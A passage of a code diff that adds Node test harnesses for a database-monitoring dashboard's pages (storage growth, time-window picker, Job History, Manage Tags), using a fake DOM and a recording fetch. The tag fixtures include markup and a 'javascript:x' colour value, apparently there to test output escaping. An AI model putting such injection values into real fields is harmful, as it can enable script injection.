+/* The catalog the picker reads its reach from (#5562 L4b): get_finops says 168 for its other views and serves the Storage Growth view's own
+   reach as view_max_hours, the number the server validates. The page takes it from here, not from a constant of its own. */
+const catalogBody = JSON.stringify({
+  reads: [{ name: "get_finops", params: [{ name: "hours", max_hours: 168, view_max_hours: { storage_growth: 2160 } }] }],
+});
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  return { status: 200, ok: true, text: async () => (String(url).includes("/api/catalog") ? catalogBody : body) };
+};
+
+const find = (node, tag) => (node.tag === tag ? node : node.children.map((c) => find(c, tag)).find(Boolean) || null);
+const paramsOf = (url) => Object.fromEntries(new URL(url, "http://viewer.test").searchParams.entries());
+const findAll = (node, tag, out = []) => {
+  if (node.tag === tag) out.push(node);
+  node.children.forEach((c) => findAll(c, tag, out));
+  return out;
+};
+const findText = (node, tag, text) => findAll(node, tag).find((n) => n.textContent === text) || null;
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "storage-growth-window-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\n' +
+      'export function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const { tab } = await import(pathToFileURL(path.join(scratch, "pages", "finops", "storage-growth.js")).href);
+  const settle = () => new Promise((r) => setTimeout(r, 20));
+  const dbBody = { databases: { status: "ok", database_count: 1, truncated: false, rows: [{ database_name: "Alpha", current_size_mb: 10 }] } };
+  const objBody = (days) => ({ database: { status: "ok" }, objects: { status: "ok", window_days: days, object_count: 0, truncated: false, days: [], rows: [] } });
+  const seen = () => fetches.filter((u) => String(u).includes("get_finops")).map(paramsOf).map((p) => ({ view: p.view, hours: p.hours, database_name: p.database_name ?? null, limit: p.limit ?? null }));
+  const out = {};
+
+  // The databases level: no window picker, 24 hours.
+  body = JSON.stringify(dbBody);
+  fetches.length = 0;
+  let root = tab.build("srv-a", {});
+  await settle();
+  out.databases = { reads: seen(), selects: pickerButton(root, "Window") ? 1 : 0 };
+
+  // Open the database: the objects read at the default window (30 days = 720 hours), with the picker.
+  body = JSON.stringify(objBody(30));
+  fetches.length = 0;
+  findText(root, "button", "Show objects").handlers.click();
+  await settle();
+  // #5562 R5: the Compact rolling-only picker, whole days (the heatmap has one column per day), reach 2160 hours for this view.
+  out.objects = {
+    reads: seen(),
+    options: pickerItems(root, "Window").filter((i) => !i.disabled).map((i) => i.name),
+    disabled: pickerItems(root, "Window").filter((i) => i.disabled).map((i) => i.name + ": " + i.why),
+    value: pickerText(root, "Window"),
+    refused: { hours: pickRange(root, "Window", "200h"), calendar: pickRange(root, "Window", "last month"), tooLong: pickRange(root, "Window", "120d"), tooShort: pickRange(root, "Window", "3d"), oneDay: pickRange(root, "Window", "1d") },
+  };
+
+  // Pick 90 days, then 7 days: each re-reads with days * 24.
+  for (const days of [90, 7]) {
+    fetches.length = 0;
+    body = JSON.stringify(objBody(days));
+    pickRange(root, "Window", days + "d");
+    await settle();
+    out["picked" + days] = { reads: seen(), value: pickerText(root, "Window") };
+  }
+
+  // The poll rebuilds the tab for the same server: one read with the picked window, picker still on it.
+  fetches.length = 0;
+  root = tab.build("srv-a", {});
+  await settle();
+  out.rebuilt = { reads: seen(), value: pickerText(root, "Window") };
+
+  // Another server starts at the databases level.
+  body = JSON.stringify(dbBody);
+  fetches.length = 0;
+  root = tab.build("srv-b", {});
+  await settle();
+  out.other = { reads: seen(), selects: pickerButton(root, "Window") ? 1 : 0 };
+  // ... and its own objects read starts at 30 days.
+  body = JSON.stringify(objBody(30));
+  fetches.length = 0;
+  findText(root, "button", "Show objects").handlers.click();
+  await settle();
+  out.otherObjects = { reads: seen(), value: pickerText(root, "Window") };
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/finops-window-picker-harness.mjs b/Darling/Darling.Tests/finops-window-picker-harness.mjs
new file mode 100644
index 0000000000..ae2381ea74
--- /dev/null
+++ b/Darling/Darling.Tests/finops-window-picker-harness.mjs
@@ -0,0 +1,151 @@
+/* Runs the shipped Optimization and High Impact tabs (wwwroot/js/pages/finops) against a
+   recording fetch and a node-tree DOM, and prints as one line of JSON what each tab asked for: the first build, a change
+   of the Window picker, a rebuild for the same server (the 60 s poll) and a build for another server.
+       node finops-window-picker-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+import { pickRange, pickerText, pickerItems, popupShape, withDocumentListeners } from "./web-picker-driver.mjs";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.handlers = {};
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, fn) {
+    this.handlers[type] = fn;
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = withDocumentListeners({
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+});
+
+const fetches = [];
+let body = "{}";
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  return { status: 200, ok: true, text: async () => body };
+};
+
+const find = (node, tag) => (node.tag === tag ? node : node.children.map((c) => find(c, tag)).find(Boolean) || null);
+const hoursOf = (url) => new URL(url, "http://viewer.test").searchParams.get("hours") ?? new URL(url, "http://viewer.test").searchParams.get("hours_back");
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "finops-window-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\n' +
+      /* panels.js imports these since the line-chart zoom (#5092). */
+      'export function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const out = {};
+  for (const name of ["optimization", "high-impact"]) {
+    const { tab } = await import(pathToFileURL(path.join(scratch, "pages", "finops", name + ".js")).href);
+    const run = async (server, pick) => {
+      fetches.length = 0;
+      const root = tab.build(server, {});
+      if (pick != null) pickRange(root, "Window", pick + "h");
+      await new Promise((r) => setTimeout(r, 20));
+      /* The catalog read the picker makes is not a FinOps read; only get_finops reads count. */
+      const reads = fetches.filter((u) => u.includes("get_finops"));
+      return {
+        select: pickerText(root, "Window"),
+        hours: reads.map(hoursOf),
+        options: pickerItems(root, "Window").filter((i) => !i.disabled).map((i) => i.name),
+        disabled: pickerItems(root, "Window").filter((i) => i.disabled).map((i) => i.name + ": " + i.why),
+        shape: popupShape(root, "Window"),
+        refused: { subHour: pickRange(root, "Window", "30m"), calendar: pickRange(root, "Window", "yesterday"), fractional: pickRange(root, "Window", "90m"), tooLong: pickRange(root, "Window", "30d") },
+      };
+    };
+    out[name] = {
+      first: await run("srv-a"),
+      picked: await run("srv-a", 4),
+      rebuilt: await run("srv-a"),
+      other: await run("srv-b"),
+    };
+  }
+
+  // The Expensive Queries notice: a window the service cut to the kept query-text days says so; an uncut one keeps the hours.
+  const { tab: optimization } = await import(pathToFileURL(path.join(scratch, "pages", "finops", "optimization.js")).href);
+  const noticeFor = async (windowHours, startedHoursAgo) => {
+    const start = new Date(Date.now() - startedHoursAgo * 3600000).toISOString();
+    body = JSON.stringify({ expensive_queries: { status: "ok", rows: [], window_hours: windowHours, effective_start: start } });
+    const root = optimization.build("srv-notice-" + windowHours, {});
+    await new Promise((r) => setTimeout(r, 20));
+    return root.textContent;
+  };
+  out.expensiveNotice = { cut: await noticeFor(168, 72), uncut: await noticeFor(24, 24) };
+
+  // The Index Analysis Collected cell: set only when exactly one listed database row has the name (ordinal comparison).
+  const { tab: indexAnalysis } = await import(pathToFileURL(path.join(scratch, "pages", "finops", "index-analysis.js")).href);
+  const { applyFormat } = await import(pathToFileURL(path.join(scratch, "util.js")).href);
+  const stamp = (d) => applyFormat("time", d);
+  const rec = (n) => ({ database_name: n, table_name: "t", index_name: "i", action: "DISABLE" });
+  body = JSON.stringify({
+    databases: [
+      { database_name: "Shared", captured_at: "2026-03-01T10:00:00Z" },
+      { database_name: "Shared", captured_at: "2026-03-05T11:00:00Z" },
+      { database_name: "Solo", captured_at: "2026-03-02T12:00:00Z" },
+      { database_name: "solo", captured_at: "2026-03-03T13:00:00Z" },
+    ],
+    recommendations: [rec("Shared"), rec("Solo"), rec("solo")],
+  });
+  const rootIa = indexAnalysis.build("srv-ia", {});
+  await new Promise((r) => setTimeout(r, 20));
+  const text = rootIa.textContent;
+  out.indexCollected = {
+    text,
+    shared1: stamp("2026-03-01T10:00:00Z"),
+    shared2: stamp("2026-03-05T11:00:00Z"),
+    solo: stamp("2026-03-02T12:00:00Z"),
+    lower: stamp("2026-03-03T13:00:00Z"),
+  };
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/job-history-harness.mjs b/Darling/Darling.Tests/job-history-harness.mjs
new file mode 100644
index 0000000000..b63324fd3c
--- /dev/null
+++ b/Darling/Darling.Tests/job-history-harness.mjs
@@ -0,0 +1,322 @@
+/* Runs the shipped Job History page (wwwroot/js/pages/job-history.js) against a recording fetch and a node-tree DOM, and
+   prints as one line of JSON what it asked for and drew: the first build, a status pick, a typed job name, a rebuild
+   (the 60 s poll), a one-server pick, the two notices, and the Agent line (stopped, running, unknown, a roll-up).
+       node job-history-harness.mjs <path to wwwroot/js> */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+import { pickRange, pickerText, pickerItems, popupShape, withDocumentListeners } from "./web-picker-driver.mjs";
+
+const jsDir = process.argv[2];
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.handlers = {};
+    this.focused = false;
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    child.parent = this;
+    this.children.push(child);
+    return child;
+  }
+  // Like the browser, a removed subtree that holds the focused box fires blur DURING the removal, while it is still attached.
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i < 0) return child;
+    const focused = [];
+    const find = (n) => {
+      if (n.focused && n.handlers.blur) focused.push(n);
+      n.children.forEach(find);
+    };
+    find(child);
+    for (const n of focused) {
+      n.focused = false;
+      n.handlers.blur();
+    }
+    this.children.splice(i, 1);
+    child.parent = null;
+    return child;
+  }
+  get isConnected() {
+    let n = this;
+    while (n.parent) n = n.parent;
+    return n.isRoot === true;
+  }
+  get selectionStart() {
+    return this.caret ? this.caret[0] : this.value.length;
+  }
+  get selectionEnd() {
+    return this.caret ? this.caret[1] : this.value.length;
+  }
+  setSelectionRange(a, b) {
+    this.caret = [a, b];
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, fn) {
+    this.handlers[type] = fn;
+  }
+  focus() {
+    this.focused = true;
+  }
+  closest() {
+    return null;
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = withDocumentListeners({
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+});
+
+const fetches = [];
+let historyBody = "{}";
+const serversBody = JSON.stringify({ servers: [{ server_name: "srv-a", display_name: "Server A", engine_kind: "sqlserver" }, { server_name: "srv-b" }, { server_name: "pg-c", engine_kind: "postgres" }, { server_name: "pg-d", engine_kind: "aurora-postgres" }] });
+globalThis.fetch = async (url, init) => {
+  fetches.push({ url: String(url), signal: init && init.signal ? true : false });
+  const body = String(url).includes("/api/read/list_servers") ? serversBody : historyBody;
+  return { status: 200, ok: true, text: async () => body };
+};
+
+const all = (node, tag, out = []) => {
+  if (node.tag === tag) out.push(node);
+  node.children.forEach((c) => all(c, tag, out));
+  return out;
+};
+const byLabel = (root, label) => all(root, "select").concat(all(root, "input")).find((n) => n.attrs["aria-label"] === label);
+const settle = () => new Promise((r) => setTimeout(r, 30));
+const historyCalls = () =>
+  fetches.filter((f) => f.url.includes("/api/read/get_job_history")).map((f) => ({ q: Object.fromEntries(new URL(f.url, "http://viewer.test").searchParams), signal: f.signal }));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "job-history-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; charts.js is replaced by the
+     stub below, which is written AFTER the copy. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\n' +
+      'export function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return ""; }\n'
+  );
+  const { renderJobHistory, JOB_HISTORY_COLUMNS } = await import(pathToFileURL(path.join(scratch, "pages", "job-history.js")).href);
+
+  const run = {
+    runs: [
+      { run_time: new Date(Date.now() - 10 * 60000).toISOString(), server: "srv-a", job_name: "Nightly", category: "Maintenance", step: "(Job outcome)", status: "Failed", duration_seconds: 5, duration_formatted: "00:00:05", retries: 0, last_success: null, message: "<b>boom</b>" },
+      { run_time: new Date(Date.now() - 20 * 60000).toISOString(), server: "srv-b", job_name: "Backup", category: "Backup", step: "1: Full", status: "Succeeded", duration_seconds: 9, duration_formatted: "00:00:09", retries: 0, last_success: null, message: "" },
+    ],
+    shown: 2, truncated: false, window_truncated: false,
+  };
+  historyBody = JSON.stringify(run);
+
+  const main = new FakeNode("div");
+  main.isRoot = true;
+  const out = {};
+  const snapshot = (root) => ({
+    calls: historyCalls(),
+    selects: Object.fromEntries(["Server", "Status", "Category", "Rows"].map((l) => [l, byLabel(root, l).value])),
+    window: pickerText(root, "Window"),
+    job: byLabel(root, "Job name").value,
+    jobFocused: byLabel(root, "Job name").focused,
+    categories: byLabel(root, "Category").children.map((o) => o.attrs.value),
+    servers: byLabel(root, "Server").children.map((o) => o.attrs.value),
+    text: root.textContent,
+    headers: all(root, "th").map((t) => t.textContent.replace(/[ ▲▼]+$/, "")),
+    bodyRows: all(root, "tr").length - 1,
+  });
+
+  fetches.length = 0;
+  renderJobHistory(main);
+  await settle();
+  out.first = snapshot(main);
+
+  fetches.length = 0;
+  byLabel(main, "Status").value = "Failed";
+  byLabel(main, "Status").handlers.change();
+  byLabel(main, "Category").value = "Maintenance";
+  byLabel(main, "Category").handlers.change();
+  const jobBox = byLabel(main, "Job name");
+  jobBox.value = "Nightly";
+  jobBox.handlers.input();
+  jobBox.handlers.focus();
+  await settle();
+  out.picked = snapshot(main);
+
+  // The shared time range picker (#5562): a rolling length reads whole hours back, a finished range also sends its end as as_of
+  // (the reader bounds the runs by it before the row limit), a length past the reach is refused with the reason, and a sub-hour
+  // length is read as the whole hour and trimmed at its start.
+  fetches.length = 0;
+  out.range = {};
+  out.range.past30d = pickRange(main, "Window", "30d");
+  await settle();
+  out.range.past30dCalls = historyCalls().length;
+  fetches.length = 0;
+  pickRange(main, "Window", "2h");
+  await settle();
+  out.range.twoHours = { calls: historyCalls().map((c) => c.q), text: pickerText(main, "Window") };
+  fetches.length = 0;
+  pickRange(main, "Window", "yesterday");
+  await settle();
+  out.range.yesterday = { calls: historyCalls().map((c) => c.q), text: pickerText(main, "Window") };
+  fetches.length = 0;
+  historyBody = JSON.stringify({ ...run, runs: [{ ...run.runs[0], run_time: new Date(Date.now() - 5 * 60000).toISOString() }, { ...run.runs[1], run_time: new Date(Date.now() - 50 * 60000).toISOString() }] });
+  pickRange(main, "Window", "30m");
+  await settle();
+  out.range.thirtyMinutes = { calls: historyCalls().map((c) => c.q), shown: all(main, "div").filter((d) => d.className === "muted").map((d) => d.textContent) };
+  historyBody = JSON.stringify(run);
+  out.range.items = pickerItems(main, "Window").filter((i) => i.disabled).map((i) => i.name);
+  out.range.shape = popupShape(main, "Window");
+  pickRange(main, "Window", "1d");
+  await settle();
+
+  // The poll rebuilds the page: the same choices, the typed text and the focus come back.
+  fetches.length = 0;
+  const again = new FakeNode("div");
+  again.isRoot = true;
+  renderJobHistory(again);
+  await settle();
+  out.rebuilt = snapshot(again);
+
+  // One server, then back to the fleet.
+  fetches.length = 0;
+  byLabel(again, "Server").value = "srv-a";
+  byLabel(again, "Server").handlers.change();
+  await settle();
+  out.oneServer = snapshot(again);
+  fetches.length = 0;
+  byLabel(again, "Server").value = "";
+  byLabel(again, "Server").handlers.change();
+  await settle();
+  out.fleet = snapshot(again);
+
+  // The poll rebuilds the page INTO THE SAME container while text is being typed: the old box leaves (the browser fires
+  // blur during that removal), and the new box takes back the text, the focus and the caret, with one read.
+  fetches.length = 0;
+  const typing = byLabel(again, "Job name");
+  typing.value = "Other";
+  typing.caret = [2, 3];
+  typing.handlers.input();
+  typing.handlers.focus();
+  typing.focused = true;
+  renderJobHistory(again);
+  await settle();
+  const inPlace = byLabel(again, "Job name");
+  out.inPlace = { calls: historyCalls(), job: inPlace.value, focused: inPlace.focused, caret: inPlace.caret || null };
+
+  // The notices.
+  historyBody = JSON.stringify({ ...run, truncated: true, window_truncated: true, effective_start: "2026-03-01T08:00:00Z" });
+  const noticed = new FakeNode("div");
+  noticed.isRoot = true;
+  renderJobHistory(noticed);
+  await settle();
+  out.notices = { text: noticed.textContent, noticeCount: all(noticed, "div").filter((d) => d.className === "strip notice").length };
+
+  // An empty answer carries its window facts under hints.
+  historyBody = JSON.stringify({ status: "empty", message: "No job runs matched in the requested time range.", hints: { effective_start: "2026-03-01T08:00:00Z", window_truncated: true } });
+  const emptyPartial = new FakeNode("div");
+  emptyPartial.isRoot = true;
+  renderJobHistory(emptyPartial);
+  await settle();
+  out.emptyPartial = { text: emptyPartial.textContent, noticeCount: all(emptyPartial, "div").filter((d) => d.className === "strip notice").length };
+
+  // Row colours, the runs-shown line, and the server choices (SQL Server targets only).
+  historyBody = JSON.stringify({ ...run, runs: [
+    { ...run.runs[0], status: "Failed" }, { ...run.runs[1], status: "Retry" }, { ...run.runs[1], status: "Canceled" },
+    { ...run.runs[1], status: "Succeeded", is_long_running: true }, { ...run.runs[1], status: "Succeeded", is_long_running: false } ] });
+  const coloured = new FakeNode("div");
+  coloured.isRoot = true;
+  renderJobHistory(coloured);
+  await settle();
+  out.coloured = { rowClasses: all(coloured, "tbody").flatMap((t) => t.children.map((tr) => tr.attrs.class || tr.className || "")), text: coloured.textContent };
+
+  historyBody = JSON.stringify({ ...run, truncated: false, window_truncated: false });
+  const quiet = new FakeNode("div");
+  quiet.isRoot = true;
+  renderJobHistory(quiet);
+  await settle();
+  out.quiet = { noticeCount: all(quiet, "div").filter((d) => d.className === "strip notice").length };
+
+  // The Agent line: a one-server answer's flat fields, the fleet's agents list, and an empty answer's hints.
+  const agentLine = async (body) => {
+    historyBody = JSON.stringify(body);
+    const root = new FakeNode("div");
+    root.isRoot = true;
+    renderJobHistory(root);
+    await settle();
+    const line = all(root, "div").find((d) => String(d.className || "").startsWith("agent-line "));
+    return line ? { text: line.textContent, cls: line.className } : null;
+  };
+  out.agent = {
+    stopped: await agentLine({ ...run, server: "srv-a", agent_running: false, agent_status_desc: "Stopped" }),
+    running: await agentLine({ ...run, server: "srv-a", agent_running: true, agent_status_desc: "Running" }),
+    unknown: await agentLine({ ...run, server: "srv-a", agent_running: null, agent_status_desc: "unknown (no recent status)" }),
+    rollup: await agentLine({ ...run, agents_total: 4, agents_running: 2, agents_not_running: [{ server: "srv-b", agent_running: false }, { server: "srv-d", agent_running: null }] }),
+    allRunning: await agentLine({ ...run, agents_total: 2, agents_running: 2, agents_not_running: [] }),
+    emptyStopped: await agentLine({ status: "empty", message: "No job runs matched in the requested time range.", hints: { effective_start: "2026-03-01T08:00:00Z", window_truncated: false, server: "srv-a", agent_running: false } }),
+    emptyFleet: await agentLine({ status: "empty", message: "No job runs matched in the requested time range.", hints: { agents_total: 3, agents_running: 2, agents_not_running: [{ server: "srv-a", agent_running: false }] } }),
+    noService: await agentLine({ ...run, server: "srv-x", agent_running: null, agent_status_desc: "no SQL Agent service found" }),
+    rollupNoService: await agentLine({ ...run, agents_total: 2, agents_running: 1, agents_not_running: [{ server: "srv-x", agent_running: null, agent_status_desc: "no SQL Agent service found" }] }),
+    rollupMixed: await agentLine({ ...run, agents_total: 3, agents_running: 1, agents_not_running: [{ server: "srv-b", agent_running: false, agent_status_desc: "Stopped" }, { server: "srv-x", agent_running: null, agent_status_desc: "no SQL Agent service found" }] }),
+    emptyNoService: await agentLine({ status: "empty", message: "No job runs matched in the requested time range.", hints: { effective_start: "2026-03-01T08:00:00Z", window_truncated: false, server: "srv-x", agent_running: null, agent_status_desc: "no SQL Agent service found" } }),
+    absent: await agentLine(run),
+  };
+
+  // W2: a long message is clamped in its cell and a row click opens the whole text in a detail pane, which Close empties
+  // and which survives the 60 s rebuild.
+  const longMessage = "Executed as user: NT SERVICE\\SQLSERVERAGENT. " + "The step failed because the target was unreachable. ".repeat(40);
+  historyBody = JSON.stringify({ ...run, runs: [{ ...run.runs[0], message: longMessage }, { ...run.runs[1], message: null }] });
+  const detail = new FakeNode("div");
+  detail.isRoot = true;
+  renderJobHistory(detail);
+  await settle();
+  const msgCells = () => all(detail, "div").filter((d) => d.className === "jh-message");
+  const paneText = () => all(detail, "div").filter((d) => d.className === "jh-detail").map((d) => d.textContent).join("");
+  const rowsOf = (root) => all(root, "tbody").flatMap((t) => t.children);
+  const before = { cellTexts: msgCells().map((c) => c.textContent), pane: paneText(), clickable: rowsOf(detail).map((tr) => typeof tr.handlers.click === "function") };
+  rowsOf(detail)[0].handlers.click({ type: "click" });
+  const opened = paneText();
+  const preText = all(detail, "pre").map((p) => p.textContent);
+  const rebuilt2 = new FakeNode("div");
+  rebuilt2.isRoot = true;
+  renderJobHistory(rebuilt2);
+  await settle();
+  const reopened = all(rebuilt2, "div").filter((d) => d.className === "jh-detail").map((d) => d.textContent).join("");
+  rowsOf(rebuilt2)[1].handlers.click({ type: "click" });
+  const noMessagePre = all(rebuilt2, "pre").map((p) => p.textContent);
+  all(rebuilt2, "button").find((b) => b.textContent === "Close").handlers.click();
+  const closed = all(rebuilt2, "div").filter((d) => d.className === "jh-detail").map((d) => d.textContent).join("");
+  out.detail = { longMessage, before, opened, preText, reopened, noMessagePre, closed };
+
+  out.columns = JOB_HISTORY_COLUMNS.map((c) => c.label);
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/manage-tags-harness.mjs b/Darling/Darling.Tests/manage-tags-harness.mjs
new file mode 100644
index 0000000000..e856d5ae55
--- /dev/null
+++ b/Darling/Darling.Tests/manage-tags-harness.mjs
@@ -0,0 +1,437 @@
+/* Runs the shipped Manage Tags page (wwwroot/js/pages/manage-tags.js) under Node against a fake DOM and a fake
+   fetch, and prints the result of a scenario as one line of JSON. ManageTagsBehaviourTests starts it as
+       node manage-tags-harness.mjs <path to wwwroot/js> <scenario>
+   The page and the modules it imports are copied unchanged into a scratch folder and imported as the browser would. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenarioArg] = process.argv.slice(-2);
+const [scenario, scenarioParam] = scenarioArg.split(":");
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.value = "";
+    this.handlers = {};
+    this.isConnected = true;
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() { return this.children[0] || null; }
+  appendChild(child) { this.children.push(child); return child; }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+    if (name === "value") this.value = String(value);
+  }
+  getAttribute(name) { return name in this.attrs ? this.attrs[name] : null; }
+  addEventListener(type, fn) { (this.handlers[type] ||= []).push(fn); }
+  set textContent(value) { this.children = []; this.text = String(value); }
+  get textContent() { return (this.text || "") + this.children.map((c) => c.textContent).join(""); }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+let confirmAnswer = true;
+globalThis.window = globalThis;
+globalThis.confirm = () => confirmAnswer;
+globalThis.location = { hash: "", pathname: "/", search: "", href: "http://localhost/", origin: "http://localhost" };
+globalThis.history = { pushState() {}, replaceState() {}, back() {} };
+
+const all = (node, pred, out = []) => {
+  if (pred(node)) out.push(node);
+  for (const c of node.children) all(c, pred, out);
+  return out;
+};
+const buttons = (root, text) => all(root, (n) => n.tag === "button" && n.textContent === text);
+const fire = async (node, type, e = {}) => {
+  for (const fn of node.handlers[type] || []) await fn(e);
+  await settle();
+};
+const settle = () => new Promise((r) => setTimeout(r, 15));
+const clickText = async (root, text) => {
+  const b = buttons(root, text)[0];
+  if (!b) throw new Error("no button " + text);
+  await fire(b, "click");
+};
+const field = (root, name) => all(root, (n) => n.attrs["data-field"] === name)[0];
+const typeInto = async (root, name, v) => { const f = field(root, name); f.value = v; await fire(f, "input"); };
+const nodeButton = (root, id) => all(root, (n) => n.attrs["data-tag-id"] === String(id))[0];
+const box = (root, id) => all(root, (n) => n.attrs["data-server-id"] === String(id))[0];
+const tick = async (root, node, checked) => { node.checked = checked; await fire(node, "change"); };
+
+const tag = (id, name, parent_id, sort_order, colour) => ({ id, name, parent_id, sort_order, colour });
+const forest = [tag(1, "East", null, 0, "#4E79A7"), tag(2, "Prod", 1, 0, null), tag(3, "West", null, 1, "#E15759"), tag(4, "Edge<b>", 2, 0, "javascript:x")];
+const card = (server_id, display_name, tags) => ({ server_id, display_name, tags });
+let cards = [card(10, "srv-a", [{ id: 1 }]), card(11, "srv-b", []), card(12, "srv-c", [{ id: 1 }])];
+
+let canEdit = true;
+let networkDown = false;
+let gate = null;
+let responder = () => ({ status: 200, body: {} });
+const calls = [];
+globalThis.fetch = async (url, init = {}) => {
+  const method = init.method || "GET";
+  const body = init.body ? JSON.parse(init.body) : null;
+  if (url === "/api/session") return reply(200, { can_edit: canEdit });
+  if (url === "/api/fleet") return reply(200, { tags: forest, cards });
+  calls.push({ method, url, body, contentType: (init.headers || {})["Content-Type"] || null });
+  if (networkDown) throw new Error("connection refused");
+  if (gate) await gate;
+  const r = responder(method, url, body);
+  return reply(r.status, r.body, r.raw);
+};
+/* `raw`, when a responder gives it, is the response text as it is (a sign-in page, an empty body) instead of JSON. */
+const reply = (status, body, raw) => ({ status, ok: status >= 200 && status < 300, text: async () => (raw !== undefined ? raw : JSON.stringify(body)) });
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "manage-tags-"));
+const out = {};
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const page = await import(pathToFileURL(path.join(scratch, "pages", "manage-tags.js")).href);
+  const main = new FakeNode("main");
+  const mountPage = async () => { await page.renderManageTags(main); await settle(); };
+  const paint = () => main.textContent;
+
+  const scenarios = {
+    render: async () => {
+      await mountPage();
+      const nodes = all(main, (n) => n.attrs["data-tag-id"] !== undefined);
+      return {
+        order: nodes.map((n) => n.textContent),
